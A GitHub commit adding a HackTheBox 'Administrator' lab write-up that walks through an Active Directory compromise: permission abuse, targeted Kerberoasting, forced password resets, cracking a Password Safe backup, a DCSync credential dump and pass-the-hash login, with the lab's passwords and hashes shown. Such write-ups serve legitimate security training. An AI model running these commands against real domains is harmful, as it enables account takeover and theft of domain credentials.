Skip to content

Commit 088b990

Browse files
bytebl33dbytebl33d
committed
Added Administrator Writeup
1 parent 53d877e commit 088b990

6 files changed

Lines changed: 233 additions & 0 deletions

File tree

‎_posts/2025-04-19-htb-administrator.md‎

Lines changed: 233 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,233 @@
1+
---
2+
layout: single
3+
title: "HTB Administrator Writeup"
4+
seo_title: "Writeup for the HackTheBox Administrator Machine"
5+
date: 2025-04-19 10:01:00 +0200
6+
categories: ['HackTheBox', 'Windows', 'Active-Directory']
7+
classes: wide
8+
toc: true
9+
header:
10+
teaser: "/assets/images/headers/Administrator.png"
11+
---
12+
13+
As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account:
14+
```
15+
Username: Olivia
16+
Password: ichliebedich
17+
```
18+
19+
# Reconnaissance
20+
From our initial nmap scan, we see that we are dealing with a Windows Domain Controller. Notice that port 21 (FTP) is also open.
21+
22+
```console
23+
$ nmap -sCV -v -oN admin.nmap 10.10.11.42
24+
Nmap scan report for 10.10.11.42
25+
Host is up (0.014s latency).
26+
Not shown: 988 closed tcp ports (conn-refused)
27+
PORT STATE SERVICE VERSION
28+
21/tcp open ftp Microsoft ftpd
29+
| ftp-syst:
30+
|_ SYST: Windows_NT
31+
53/tcp open domain Simple DNS Plus
32+
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-16 04:41:02Z)
33+
135/tcp open msrpc Microsoft Windows RPC
34+
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
35+
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
36+
445/tcp open microsoft-ds?
37+
464/tcp open kpasswd5?
38+
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
39+
636/tcp open tcpwrapped
40+
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
41+
3269/tcp open tcpwrapped
42+
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
43+
44+
Host script results:
45+
| smb2-security-mode:
46+
| 3:1:1:
47+
|_ Message signing enabled and required
48+
| smb2-time:
49+
| date: 2024-11-16T04:41:08
50+
|_ start_date: N/A
51+
|_clock-skew: 7h00m02s
52+
```
53+
54+
We are given a domain user account with the following credentials: `olivia:ichliebedich`. Further enumeration reveals that this account has the PSRemoting privilege set.
55+
56+
```console
57+
$ nxc smb 10.10.11.42 -u 'olivia' -p 'ichliebedich'
58+
SMB 10.10.11.42 445 DC [+] administrator.htb\olivia:ichliebedich
59+
$ nxc winrm 10.10.11.42 -u 'olivia' -p 'ichliebedich'
60+
WINRM 10.10.11.42 5985 DC [+] administrator.htb\olivia:ichliebedich (Pwn3d!)
61+
```
62+
63+
We can either logon to the DC with Evil-WinRM and run SharpHound to collect information for BloodHound or run the BloodHound.py script.
64+
65+
```console
66+
$ bloodhound-python -u 'olivia' -p 'ichliebedich' -ns 10.10.11.42 -d administrator.htb --zip -c All
67+
INFO: Found AD domain: administrator.htb
68+
INFO: Getting TGT for user
69+
INFO: Connecting to LDAP server: dc.administrator.htb
70+
INFO: Found 1 domains
71+
INFO: Found 1 domains in the forest
72+
INFO: Found 1 computers
73+
INFO: Connecting to LDAP server: dc.administrator.htb
74+
INFO: Found 11 users
75+
INFO: Found 53 groups
76+
INFO: Found 2 gpos
77+
INFO: Found 1 ous
78+
INFO: Found 19 containers
79+
INFO: Found 0 trusts
80+
INFO: Starting computer enumeration with 10 workers
81+
INFO: Querying computer: dc.administrator.htb
82+
INFO: Done in 00M 04S
83+
INFO: Compressing output into 20241117135611_bloodhound.zip
84+
```
85+
86+
We now start BloodHound CE and import the zip file. After looking through the data, we see that we have a path from `olivia` to `benjamin`. Now `benjamin` is a member of the Share Moderators group, so we might get more access after comprimising his account.
87+
88+
![](/assets/images/writeups/administrator/BH-path.png)
89+
90+
# User
91+
As our starting account, we have the `GenericAll` permissions to the user `michael`. There are several ways we can abuse this privilege: we can either change the user's password or set an SPN on the account and perform a targeted Kerberoasting attack. Let's go for the latter as for the next user we already have to force a password change.
92+
93+
```console
94+
$ bloodyAD --host 10.10.11.42 -d administrator.htb -u 'olivia' -p 'ichliebedich' set object michael servicePrincipalName -v 'fake/dc.administrator.htb'
95+
[+] michael's servicePrincipalName has been updated
96+
$ GetUserSPNs.py -dc-ip 10.10.11.42 'administrator.htb/olivia:ichliebedich' -request-user michael
97+
98+
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
99+
------------------------- ------- ------------------------------------------------------------- -------------------------- --------- ----------
100+
fake/dc.administrator.htb michael CN=Remote Management Users,CN=Builtin,DC=administrator,DC=htb 2024-10-06 03:33:37.049043 <never>
101+
102+
103+
[-] CCache file is not found. Skipping...
104+
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
105+
```
106+
107+
If you get a `Clock skew too great` error just like me, just run this command that spawns a bash shell with the clock synced to the DC:
108+
```console
109+
$ faketime "$(ntpdate -q administrator.htb | cut -d ' ' -f 1,2)" bash
110+
```
111+
112+
So now we can get the hash, copy it to a file and run hashcat to crack it.
113+
114+
```console
115+
$ GetUserSPNs.py -dc-ip 10.10.11.42 'administrator.htb/olivia:ichliebedich' -request-user michael
116+
$ hashcat -m 13100 michael.hash $ROCkYOU
117+
```
118+
119+
However, we are not able to crack the hash so let's proceed with the second method and reset the password for the user account. I will also immediately reset the account for Benjamin and check what access we have. From Linux we can use the `net rpc` command.
120+
121+
```console
122+
$ net rpc password "michael" "newP@ssword2022" -U "administrator.htb"/"olivia"%"ichliebedich" -S "10.10.11.42"
123+
$ net rpc password "benjamin" "newP@ssword2022" -U "administrator.htb"/"michael"%"newP@ssword2022" -S "10.10.11.42"
124+
$ nxc smb 10.10.11.42 -u 'benjamin' -p 'newP@ssword2022' --shares
125+
126+
SMB 10.10.11.42 445 DC Share Permissions Remark
127+
SMB 10.10.11.42 445 DC ----- ----------- ------
128+
SMB 10.10.11.42 445 DC ADMIN$ Remote Admin
129+
SMB 10.10.11.42 445 DC C$ Default share
130+
SMB 10.10.11.42 445 DC IPC$ READ Remote IPC
131+
SMB 10.10.11.42 445 DC NETLOGON READ Logon server share
132+
SMB 10.10.11.42 445 DC SYSVOL READ Logon server share
133+
```
134+
135+
Looks like we don't have any additional permissions on the SMB shares, so let's try the FTP share we found earlier.
136+
137+
```console
138+
$ ftp 10.10.11.42
139+
Connected to 10.10.11.42.
140+
220 Microsoft FTP Service
141+
Name (10.10.11.42:bashee): benjamin
142+
331 Password required
143+
Password:
144+
230 User logged in.
145+
Remote system type is Windows_NT.
146+
```
147+
148+
Bingo! We are logged in on the FTP share and find a `psafe3` backup file.
149+
150+
```console
151+
ftp> dir
152+
229 Entering Extended Passive Mode (|||57646|)
153+
125 Data connection already open; Transfer starting.
154+
10-05-24 08:13AM 952 Backup.psafe3
155+
226 Transfer complete.
156+
ftp> get Backup.psafe3
157+
local: Backup.psafe3 remote: Backup.psafe3
158+
229 Entering Extended Passive Mode (|||57650|)
159+
125 Data connection already open; Transfer starting.
160+
100% |*****************************************************************************************************| 952 60.39 KiB/s 00:00 ETA
161+
226 Transfer complete.
162+
WARNING! 3 bare linefeeds received in ASCII mode.
163+
File may not have transferred correctly.
164+
952 bytes received in 00:00 (60.08 KiB/s)
165+
```
166+
167+
The backup file protected by a password, but we can decrypt it using `JohnTheRipper`.
168+
169+
```console
170+
$ pwsafe2john.py Backup.psafe3 > pwsafe.hash
171+
$ john pwsafe.hash --wordlist=$ROCKYOU
172+
173+
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
174+
tekieromucho (Backu)
175+
```
176+
177+
With the password of the database, we can now use `pwsafe3` and see what is stored inside.
178+
179+
![](/assets/images/writeups/administrator/pwsafe.png)
180+
181+
We find the password for three users.
182+
183+
![](/assets/images/writeups/administrator/pwsafe-emily.png)
184+
185+
We can now log into the DC as Emily and grab the user flag.
186+
187+
```console
188+
$ evil-winrm -i administrator.htb -u emily -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb"
189+
*Evil-WinRM* PS C:\Users\emily\Desktop> cat user.txt
190+
```
191+
192+
# Root
193+
Emily also has `GenericWrite` access to `Ethan`. We can therefore perform the same attacks as before and perform a targeted Kerberoast attack.
194+
195+
![](/assets/images/writeups/administrator/BH-DCSync.png)
196+
197+
From the BloodHound data we see that `ethan` has the `DS-Replication-Get-Changes` and the `DS-Replication-Get-Changes-All` permission on the domain `ADMINISTRATOR.HTB`. We can perform a DCSync attack after compromsing his account. Let's proceed!
198+
199+
```console
200+
$ bloodyAD --host 10.10.11.42 -d administrator.htb -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' set object ethan servicePrincipalName -v 'fake2/dc.administrator.htb'
201+
$ GetUserSPNs.py -dc-ip 10.10.11.42 'administrator.htb/olivia:ichliebedich' -request-user ethan
202+
$ hashcat -m 13100 ethan.hash $ROCKYOU
203+
<HASH>:limpbizkit
204+
205+
$ secretsdump.py 'administrator.htb/ethan:limpbizkit'@10.10.11.42 -just-dc-user administrator
206+
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
207+
208+
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
209+
[*] Using the DRSUAPI method to get NTDS.DIT secrets
210+
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
211+
[*] Kerberos keys grabbed
212+
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
213+
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
214+
Administrator:des-cbc-md5:403286f7cdf18385
215+
[*] Cleaning up...
216+
```
217+
218+
We have sucessfully compromised the domain and can now grab the root flag.
219+
220+
```console
221+
$ evil-winrm -i 10.10.11.42 -u 'administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'
222+
223+
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
224+
225+
Mode LastWriteTime Length Name
226+
---- ------------- ------ ----
227+
-ar--- 11/17/2024 11:49 AM 34 root.txt
228+
229+
$ nxc winrm 10.10.11.42 -u 'administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e' -x 'type Desktop\\root.txt'
230+
WINRM 10.10.11.42 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
231+
WINRM 10.10.11.42 5985 DC [+] Executed command (shell type: cmd)
232+
WINRM 10.10.11.42 5985 DC <REDACTED>
233+
```

‎assets/images/headers/Administrator.png‎

364 KB
Loading

‎assets/images/writeups/administrator/BH-DCSync.png‎

87.9 KB
Loading

‎assets/images/writeups/administrator/BH-path.png‎

547 Bytes
Loading

‎assets/images/writeups/administrator/pwsafe-emily.png‎

46.2 KB
Loading

‎assets/images/writeups/administrator/pwsafe.png‎

87.3 KB
Loading

0 commit comments

Comments
 (0)